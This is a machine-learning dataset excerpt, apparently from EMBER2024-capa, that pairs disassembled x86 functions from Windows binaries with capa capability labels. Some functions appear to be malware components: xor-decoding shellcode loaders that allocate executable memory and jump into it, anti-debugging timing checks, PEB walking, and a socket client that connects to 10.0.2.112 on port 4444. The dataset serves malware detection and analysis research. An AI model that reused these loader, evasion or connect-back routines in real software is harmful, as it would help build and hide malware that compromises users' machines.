joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40345b
pop dword [ebp - 0x24]
mov eax, 0x7efb49be
add eax, 0x8144ea9d
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xa8cbe20
add dword [ebp - 0x34], 0x43c5872b
mov dword [ebp - 0x30], 0x50f4bfd7
sub dword [ebp - 0x30], 0x1ec17392
mov dword [ebp - 0x2c], 0x76c2d4e6
add dword [ebp - 0x2c], 0xd5896f48
mov dword [ebp - 0x28], 0x8791c3ed
add dword [ebp - 0x28], 0x786e3c13
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xc4dd8b79
add dword [ebp - 0x34], 0xaf94dddd
mov dword [ebp - 0x30], 0xeea76c33
add dword [ebp - 0x30], 0x52c4f542
mov dword [ebp - 0x2c], 0x36b33849
add dword [ebp - 0x2c], 0x2cbc3423
mov dword [ebp - 0x28], 0x975a8d34
add dword [ebp - 0x28], 0x68a572cc
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x35ed7
push 0
call eax
mov ecx, 0x4440
mov edi, eax
mov edx, 0x9242b401
sub edx, 0x92023001
add edx, dword [ebp - 0x24]
mov esi, 0xb6e77d46
mov ebx, dword [edx]
sub dword [ebp - 0x10], edx
sub ebx, esi
xor dword [ebp - 8], ebx
mov dword [edi], ebx
add edi, 0x389529da
sub edi, 0x389529d6
add edx, 4
loop 0x403567
add eax, 0x602c07d2
add eax, 0x9fd4fc01
mov ebx, eax
add eax, 5
mov ecx, 0xc906dafb
sub ecx, 0xc8c6dafb
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x406243
pop dword [ebp - 0x1c]
mov eax, 0x632f952f
sub eax, 0x62ef32ec
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfaee1fc4
add dword [ebp - 0x2c], 0x53642587
mov dword [ebp - 0x28], 0x85e8601c
add dword [ebp - 0x28], 0xac4aec29
mov dword [ebp - 0x24], 0x9638c05b
add dword [ebp - 0x24], 0xb61383d3
mov dword [ebp - 0x20], 0x9d03dfd7
sub dword [ebp - 0x20], 0x9d03dfd7
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x48ec0406
sub eax, 0x48ab8302
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x83a8d425
add dword [ebp - 0x2c], 0xf0c99531
mov dword [ebp - 0x28], 0xc401e239
add dword [ebp - 0x28], 0x7d6a7f3c
mov dword [ebp - 0x24], 0xe93a49b9
sub dword [ebp - 0x24], 0x85cadd4d
mov dword [ebp - 0x20], 0xced75442
sub dword [ebp - 0x20], 0xced75442
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x364ef
push 0
call eax
mov ecx, 0x34cdf5a4
sub ecx, 0x34cdb080
xor esi, esi
add esi, eax
mov edx, 0x7003d765
sub edx, 0x6fbcf365
add edx, dword [ebp - 0x1c]
mov ebx, 0x153fade3
sub ebx, 0xea3e354d
add dword [ebp - 4], 0xfd5595de
mov edi, dword [edx]
sub dword [ebp - 0xc], 0xfcd5865a
xor edi, ebx
xor dword [ebp - 8], 0x732196d0
mov dword [esi], edi
xor dword [ebp - 0x10], 0xc55aaa8d
add esi, 0x59f9549b
add esi, 0xa606ab69
add edx, 0x218f6213
sub edx, 0x218f620f
loop 0x406362
add eax, 0x10763
mov ebx, eax
add eax, 5
mov ecx, 0xf9eeb8d6
add ecx, 0x651472a
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x5e498f
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 1
lea esp, [esp + 3]
jmp 0x5e4996
bsf edi, edx
jl 0x5e4979
jge 0x5e49b4
sub esp, 0xc0
mov edi, esp
xchg bx, cx
mov edx, dword [esp]
jmp 0x5e49bd
add esp, 1
lea esp, [esp + 3]
jmp 0x5e4996
neg cl
jne 0x5e4a7c
je 0x5e4a7c
push es
nop
push es
popal
nop
push esi
cwde
or eax, 0xd617e49d
or bl, byte [esi + 0x18a66b0c]
outsd dx, dword [esi]
jbe 0x5e4a41
neg cl
jmp 0x5e4a99
mov ecx, 0x667bdd28
dec ebp
inc cl
jmp 0x5e4a83
mov eax, dword [esp]
mov eax, ecx
mov ax, 0x58e1
rdtsc
stc
mov dx, 0xfb0f
jmp 0x5e4afc
mov ebx, ebp
call fcn.005e4a1a
jo 0x5e4a64
mov eax, dword [esp]
mov eax, ecx
jmp 0x5e4aa2
jo 0x5e4a56
mov ecx, 0x667bdd28
jmp 0x5e4a5b
mov ax, 0x58e1
rdtsc
stc
jmp 0x5e4a70
xchg ecx, edx
bsf ax, cx
bts ax, ax
jmp 0x5e4ae2
mov ax, cx
jmp 0x5e4ac7
bswap edx
ror ebp, 0
lea edx, [eax + ecx]
jmp 0x5e4c1e
rol ebp, 0
neg eax
jae 0x5e4add
mov ax, cx
xchg ecx, edx
bsf ax, cx
bts ax, ax
bswap edx
call fcn.005e4b33
imul ecx, dword [ebp + reloc.WINMM.dll_midiStreamOut], 0xb9660000
ljmp 0x48b
bswap ecx
mov dx, 0x7be2
lea esp, [esp + 1]
jmp 0x5e4bce
mov ch, ah
neg eax
lea esp, [esp + 1]
jmp 0x5e4b98
mov dh, 0xf7
jmp 0x5e4bfa
inc ebp
btc ax, ax
je 0x5e4bb8
mov dh, 0xf7
mov ecx, dword [esp]
bt cx, bx
jmp 0x5e4c01
add esp, 0x12
rcl dh, 3
jmp 0x5e4bae
mov ecx, dword [esp]
bt cx, bx
add ebp, dword [esi]
jmp 0x5e4c58
xchg ecx, eax
jmp 0x5e4c36
sub esp, 0x14
jl 0x5e4bf2
add esp, 0x12
rcl dh, 3
mov ch, ah
neg eax
lea esp, [esp + 1]
jmp 0x5e4b98
movzx eax, byte [ebp - 1]
jmp 0x5e4c40
bswap edx
add cl, 0x9b
jb 0x5e4c79
lea edx, [edi*4]
jmp 0x5e4c80
clc
jbe 0x5e4c05
xchg ecx, eax
jmp 0x5e4c36
lea edx, [edi*4]
call 0x5e4c63
jg 0x5e4c9b
btc cx, sp
setns dl
jmp 0x5e4f65
btc cx, sp
setns dl
setnp cl
mov ch, cl
jmp 0x5e4eaa
mov ecx, ebp
shr ch, cl
xor ch, 0x2a
lea ecx, [edi*4]
jmp 0x5e4d16
mov dl, al
mov cl, 0xf9
neg ecx
jg 0x5e4cb9
jle 0x5e4cf7
push ds
lea ecx, [edi*4]
shr ecx, 0xa
jmp 0x5e4d19
mov ecx, ebp
shr ch, cl
xor ch, 0x2a
jmp 0x5e4cd9
stc
jp 0x5e4d25
jnp 0x5e4d25
push es
xchg edi, eax
pop es
bound edx, qword [ecx - 0x61f763a4]
stc
or byte [esi + 0x6ec75425], dh
jns 0x5e4cd8
shr ecx, 0xa
jmp 0x948cd26
sub dl, 8
mov cx, word [esp]
not cx
jmp 0x5e4d00
xor dl, 0x8d
mov ecx, edi
mov ch, byte [esp]
jmp 0x5e4d61
mov byte [esp + 8], bh
add dx, 0x2354
lea esp, [esp + 1]
jmp 0x5e4ccf
not cx
mov ch, 0xa6
xchg cl, ch
mov cx, word [esp]
not dl
call fcn.005e4d8a
or eax, 0x4244487
xchg dword [esp + 4], eax
mov ch, cl
jmp 0x5e4db0
sbb cx, sp
mov cx, word [esp]
shr ch, cl
lea esp, [esp + 1]
xchg dword [esp + 4], eax
jmp 0x5e4dc3
neg ecx
mov ch, byte [esp]
mov ecx, edi
lea eax, [eax - 0x28]
clc
sub esp, 1
jmp 0x5e4d99
mov ecx, edx
mov cx, 0x68fa
rcl cx, 0xa
mov ecx, 0xaa0bb6a6
mov ecx, edi
jmp 0x5e4e44
xchg word [esp + 7], dx
jmp 0x5e4d3c
push dword [esp + 4]
ret 8
add al, bl
sub esp, 0xd
jnp 0x5e4ddc
xchg word [esp + 7], dx
mov byte [esp + 8], bh
add dx, 0x2354
lea esp, [esp + 1]
jmp 0x5e4ccf
setnp cl
mov ch, cl
jmp 0x5e4eaa
Function at 0x5e4a1a
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x5e4a04
mov dl, byte [esp + 0x10]
lea esp, [esp + 2]
lea eax, reloc.WINMM.dll_midiStreamOut
jmp 0x5e4a4d
mov edx, dword [esp + 3]
sub esp, 0xe
js 0x5e49ee
mov dl, byte [esp + 0x10]
lea esp, [esp + 2]
lea eax, reloc.WINMM.dll_midiStreamOut
xchg cl, al
rdtsc
jmp 0x5e4a51
rol ebp, 0
mov cx, sp
xchg cx, ax
not edx
xchg cl, al
rdtsc
lea edx, [esi + edi]
jmp 0x5e4a37

Function at 0x5e6bac
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 0xc], edi
lea esp, [esp + 0xc]
pushfd
call fcn.005e6b7d
neg ebx
rdtsc
jmp 0x5e6be2
lea ebp, [esp]
xchg bx, ax
lea eax, [edi*4]
inc ax
jbe 0x5e6c1b
ja 0x5e6c1d
cdq
push es
xchg esp, eax
push cs
mov cl, 0x37
push ds
jl 0x5e6bba
neg ebx
rdtsc
jmp 0x5e6be2
lea eax, reloc.WINMM.dll_midiStreamOut
jmp 0x5e6c64
jmp 0x5e6c05
lea eax, reloc.WINMM.dll_midiStreamOut
jmp 0x5e6c64
rcl ecx, cl
jb 0x5e6c25
rcl ecx, cl
jmp 0x5e6c27
sub esp, 0xc0
mov edi, esp
lea ebx, [ecx + 0xfd]
bsr bx, bx
jmp 0x5e6c49
Function at 0x600a0d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
pushfd
mov dword [esp], esi
mov ecx, eax
seto bh
jmp 0x5d1e32
shl ecx, 0x10
dec si
mov bh, ch
pushal
mov esi, 0x4537f4c7
jmp 0x600d7e
jmp 0x600f8c
mov ecx, dword [ebp - 0x10]
shr eax, 0x10
jmp 0x6004ed
pushal
sub ecx, eax
lea esp, [esp + 0x20]
jmp 0x600560
jmp 0x600a54
jmp 0x600b75
movzx eax, word [ebp - 4]
mov edi, 0x94c136dd
clc
add si, dx
jmp 0x600c1a
pushal
jmp 0x600524
jmp 0x600b0c
clc
jmp 0x600a47
cmp edi, ecx
jmp 0x600a6a
sub edi, esi
sub esp, 2
push word [esp]
sub ecx, esi
jmp 0x600a30
mov ecx, eax
push eax
jmp 0x600ab2
lea esp, [esp + 8]
jbe 0x600509
dec dword [ebp - 0x10]
jmp 0x600509
sub edi, ecx
push ebx
pop word [esp]
push edi
lea esp, [esp + 2]
jmp 0x600ad8
shl ecx, 0x10
lea esp, [esp + 4]
or esi, reloc.WINMM.dll_midiStreamOut
stc
jmp 0x600a9c
add al, 0x81
into
sbb eax, 0xe889198d
sbb ebx, edi
in eax, dx
jp 0x600ab8
invalid
sub esi, ecx
sub esp, 0x18
cmp edi, esi
call fcn.00600ac2
lea esp, [esp + 0x20]
jbe 0x6004e1
ja 0x600b23
adc byte [edx + ecx*4], 0xed
sbb al, 0xa2
push ss
adc dword [ecx], reloc.WINMM.dll_midiStreamOut
cmp dword [edx], 0x15
test byte [edi], dh
test ecx, ecx
pushal
push word [esp + 9]
lea esp, [esp + 2]
jmp 0x600b41
dec dword [ebp - 0x10]
jmp 0x6004e1
invalid
cmp edi, dword [ebp + 0xc]
push ebp
call fcn.00600b53
pop ebx
rcl byte [esi + 0x31], 0xc0
add al, 0xe7
jge 0x600b2a
je 0x600ac6
xor ah, cl
lea esp, [esp + 0x20]
ja 0x6004cb
jne 0x60054a
jmp 0x600b2b
inc edx
jmp 0x600560
pop esi
not bl
push esp
bswap ebx
jmp 0x600bed
mov ecx, dword [ebp + 8]
sete bh
bswap esi
lea esp, [esp + 4]
jmp 0x600b95
pop edi
add eax, ecx
lea esi, [edx + ebp]
pushfd
lea ecx, [ebx + esi]
jmp 0x600bab
lea esp, [esp + 8]
leave
ret
mov dword [ecx], eax
sete bl
mov ebx, dword [esp + 4]
jmp 0x600bd7
lea esp, [esp + 0x20]
movzx ecx, dx
shl eax, 0x10
lea ebx, [eax + ebx]
jmp 0x600bcb
pop ecx
jmp 0x5d1e23
lea esp, [esp + 0x1c]
jbe 0x60051f
call fcn.00600b8b
lea esp, [esp + 0x24]
pop esi
mov bh, byte [esp]
mov bh, 0x27
jmp 0x600da1
add edx, ecx
not bx
shl esi, cl
bsf bx, bp
jmp 0x600d61
mov dword [edi], edx
pop ebx
sub esp, 0x1f
call fcn.00600d8b
mov ah, 0x20
mov dh, 0xd1
and byte [esi - 0x6b32a236], bl
salc
xor al, 0xae
cmp al, 0x5b
mov dh, 9
aas
push es
mov cl, 0x8d
and al, 0x24
lea esp, [esp + 4]
popal
lea ecx, [ecx + 4]
mov dword [ecx], esi
jmp 0x600d38
sub eax, dword [ebp + 0xc]
sub esp, 0x1c
mov byte [esp + 8], cl
cmp edi, eax
jmp 0x600d52
sub edi, dword [ebp + 0xc]
or eax, reloc.WINMM.dll_midiStreamOut
sub esp, 4
lea esp, [esp + 4]
jmp 0x600e08

Function at 0x9221e3
Capabilities:
Access peb ldr_data

Disassembly:
push edi
jmp 0x922226
pop word [esp]
mov byte [esp], bl
lea esp, [esp + 2]
jmp 0x9221cd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0x92220c
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406058], 1
mov dword [0x406054], 1
mov dword [0x406050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401777
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x4017dc
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4017dc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._yOxwPUd
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401793
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4017e9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
mov eax, 0x1ec4
call fcn.00402b60
sub esp, eax
mov dword [ebp - 0x1eb4], 0x62696f4a
mov dword [ebp - 0x1eb0], 0x4f567750
mov dword [ebp - 0x1eac], 0x7043534c
mov dword [ebp - 0x1ea8], 0x52747755
mov dword [ebp - 0x1ea4], 0x49766e72
mov dword [ebp - 0x1ea0], 0x51494b78
mov dword [ebp - 0x1e9c], 0x6b6f4b70
mov dword [ebp - 0x1e98], 0x56617261
mov dword [ebp - 0x1e94], 0x7a4c576d
mov dword [ebp - 0x1e90], 0x48694c74
mov dword [ebp - 0x1e8c], 0x73664f4a
mov dword [ebp - 0x1e88], 0x5162706b
mov dword [ebp - 0x1e84], 0x7a46
lea edx, [ebp - 0x1e80]
mov eax, 0
mov ecx, 0x79d
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1eb4]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
mov edi, dword [ebp - 4]
leave
ret
Function at 0x4018b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4018eb
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._yOxwPUd
mov dword [esp], str.10.0.2.112
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401910
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._yOxwPUd
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x115c
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401981
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._yOxwPUd
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x1102e200
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1102e3cd
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22000]
push edi
or ebp, 0xffffffff
jmp 0x1102e22a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1102e231
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1102e220
mov eax, 1
add ebx, ebx
jne 0x1102e243
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1102e238
jne 0x1102e254
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1102e238
xor ecx, ecx
sub eax, 3
jb 0x1102e268
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1102e2da
mov ebp, eax
add ebx, ebx
jne 0x1102e273
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1102e280
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1102e2a4
inc ecx
add ebx, ebx
jne 0x1102e290
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1102e285
jne 0x1102e2a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1102e285
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1102e2c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1102e2b5
jmp 0x1102e226
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1102e2c4
add edi, ecx
jmp 0x1102e226
pop esi
mov edi, esi
mov ecx, 0x15c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1102e2e2
cmp byte [edi], 2
jne 0x1102e2e2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1102e2e7
lea edi, [esi + 0x2b000]
mov eax, dword [edi]
or eax, eax
je 0x1102e35f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2ef2c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2ef68]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1102e314
mov ecx, edi
jns 0x1102e343
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2ef6c]
or eax, eax
je 0x1102e359
mov dword [ebx], eax
add ebx, 4
jmp 0x1102e331
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1102e390
cmp al, 0xef
ja 0x1102e383
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1102e365
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1102e372
mov ebp, dword [esi + 0x2ef70]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1102e3c4
sub esp, 0xffffff80
jmp 0x11001fb8
Function at 0x10007e80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, ecx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 8], edx
mov esi, edx
lea eax, [ecx - 1]
mov dword [ebp - 4], ebx
mov edi, eax
mov dword [ebp - 0x14], ecx
sar edi, 1
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edi
cmp edx, edi
jge 0x10007efa
add esi, esi
lea eax, [esi + 2]
lea eax, [eax + eax*2]
lea ecx, [ebx + eax*4]
lea eax, [ecx - 0xc]
push eax
push ecx
call fcn.10005c60
movzx eax, al
xor eax, 1
inc eax
add esi, eax
lea eax, [esi + esi*2]
movq xmm0, qword [ebx + eax*4]
lea edx, [ebx + eax*4]
mov eax, dword [ebp - 8]
mov dword [ebp - 8], esi
lea eax, [eax + eax*2]
movq qword [ebx + eax*4], xmm0
lea ecx, [ebx + eax*4]
mov eax, dword [edx + 8]
mov dword [ecx + 8], eax
cmp esi, edi
jl 0x10007eb3
mov ecx, dword [ebp - 0x14]
mov edi, esi
cmp esi, dword [ebp - 0x18]
jne 0x10007f25
test cl, 1
jne 0x10007f25
mov edi, dword [ebp - 0x1c]
lea eax, [ecx + ecx*2]
movq xmm0, qword [ebx + eax*4 - 0xc]
lea edx, [ebx + eax*4]
lea eax, [esi + esi*2]
lea ecx, [ebx + eax*4]
movq qword [ecx], xmm0
mov eax, dword [edx - 4]
mov dword [ecx + 8], eax
cmp dword [ebp - 0xc], edi
jge 0x10007f6c
nop word [eax + eax]
push dword [ebp - 0x10]
lea esi, [edi - 1]
sar esi, 1
lea eax, [esi + esi*2]
lea ebx, [ebx + eax*4]
push ebx
call fcn.10005c60
test al, al
je 0x10007f69
lea eax, [edi + edi*2]
mov ecx, dword [ebp - 4]
lea ecx, [ecx + eax*4]
movq xmm0, qword [ebx]
mov edi, esi
movq qword [ecx], xmm0
mov eax, dword [ebx + 8]
mov ebx, dword [ebp - 4]
mov dword [ecx + 8], eax
cmp dword [ebp - 0xc], esi
jl 0x10007f30
mov ebx, dword [ebp - 4]
lea eax, [edi + edi*2]
lea ecx, [ebx + eax*4]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
movq xmm0, qword [eax]
movq qword [ecx], xmm0
mov eax, dword [eax + 8]
mov dword [ecx + 8], eax
mov esp, ebp
pop ebp
ret
Function at 0x1000b3b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1000b3dc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x1000b404
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x1000b40a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x1000b472
jg 0x1000b421
test esi, esi
je 0x1000b472
test ecx, ecx
jl 0x1000b46d
jg 0x1000b42b
test eax, eax
je 0x1000b46d
cmp edi, ecx
jg 0x1000b43f
jl 0x1000b435
cmp esi, eax
jae 0x1000b43f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x1000b475
mov ecx, dword [ebp + 8]
jmp 0x1000b47f
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x1000b499
jg 0x1000b47f
test esi, esi
je 0x1000b499
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x1000b499
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000b4b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x1000b4dc
jl 0x1000b4d0
test ecx, ecx
jne 0x1000b4dc
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x1000b4f5
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x1000b53d
mov eax, dword [ebx + 0x2c]
